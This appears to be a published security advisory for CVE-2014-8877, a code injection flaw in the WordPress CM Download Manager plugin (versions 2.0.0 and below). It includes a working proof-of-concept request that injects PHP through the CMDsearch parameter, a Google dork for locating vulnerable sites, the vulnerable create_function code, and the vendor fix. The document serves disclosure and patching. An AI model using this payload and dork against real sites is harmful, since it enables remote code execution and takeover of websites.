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WordPress CM Download Manager 2.0.0 Code Injection

WordPress CM Download Manager 2.0.0 Code Injection
Posted Nov 20, 2014
Authored by Phi Le Ngoc

WordPress CM Download Manager plugin versions 2.0.0 and below suffer from a code injection vulnerability.

tags | exploit
advisories | CVE-2014-8877
SHA-256 | 85816724b146fa7f598695ab683a2371e3a701ba19011ec52740b1d217e59ab4

WordPress CM Download Manager 2.0.0 Code Injection

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Vulnerability title: Code Injection in Wordpress CM Download Manager plugin
CVE: CVE-2014-8877
Plugin: CM Download Manager plugin
Vendor: CreativeMinds - https://www.cminds.com/
Product: https://wordpress.org/plugins/cm-download-manager/
Affected version: 2.0.0 and previous version
Fixed version: 2.0.4
Google dork: inurl:cmdownloads
Reported by: Phi Le Ngoc - phi.n.le@itas.vn
Credits to ITAS Team - www.itas.vn


::DESCRITION::

The code injection vulnerability has been found and confirmed within the software as an anonymous user. A successful attack could allow an anonymous attacker gains full control of the application and the ability to use any operating system functions that are available to the scripting environment.

GET /cmdownloads/?CMDsearch=".phpinfo()." HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: _ga=GA1.2.1698795018.1415614778; _gat=1; PHPSESSID=okt6c51s4esif2qjq451ati7m6; cmdm_disclaimer=Y; JSB=1415614988879
Connection: keep-alive

Vulnerable file:/wp-content/plugins/cm-download-manager/lib/controllers/CmdownloadController.php
Vulnerable code: (Line: 130 -> 158)


public static function alterSearchQuery($search, $query)
{
if( ( (isset($query->query_vars['post_type']) && $query->query_vars['post_type'] == CMDM_GroupDownloadPage::POST_TYPE) && (!isset($query->query_vars['widget']) || $query->query_vars['widget'] !== true) ) && !$query->is_single && !$query->is_404 && !$query->is_author && isset($_GET['CMDsearch']) )
{
global $wpdb;
$search_term = $_GET['CMDsearch'];
if( !empty($search_term) )
{
$search = '';
$query->is_search = true;
// added slashes screw with quote grouping when done early, so done later
$search_term = stripslashes($search_term);
preg_match_all('/".*?("|$)|((?<=[\r\n\t ",+])|^)[^\r\n\t ",+]+/', $search_term, $matches);
$terms = array_map('_search_terms_tidy', $matches[0]);

$n = '%';
$searchand = ' AND ';
foreach((array) $terms as $term)
{
$term = esc_sql(like_escape($term));
$search .= "{$searchand}(($wpdb->posts.post_title LIKE '{$n}{$term}{$n}') OR ($wpdb->posts.post_content LIKE '{$n}{$term}{$n}'))";
}
add_filter('get_search_query', create_function('$q', 'return "' . $search_term . '";'), 99, 1);
remove_filter('posts_request', 'relevanssi_prevent_default_request');
remove_filter('the_posts', 'relevanssi_query');
}
}
return $search;
}

::SOLUTION::
Update to version 2.0.4

::DISCLOSURE::
2014-11-08 initial vendor contact
2014-11-10 vendor response
2014-11-10 vendor confirmed
2014-11-11 vendor release patch
2014-11-14 public disclosure

::REFERENCE::
https://downloadsmanager.cminds.com/release-notes/
http://www.itas.vn/news/code-injection-in-cm-download-manager-plugin-66.html?language=en


::COPYRIGHT::
Copyright (c) ITAS CORP 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of ITAS CORP.

::DISCLAIMER::
THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS, AND AT THE USER'S OWN RISK.
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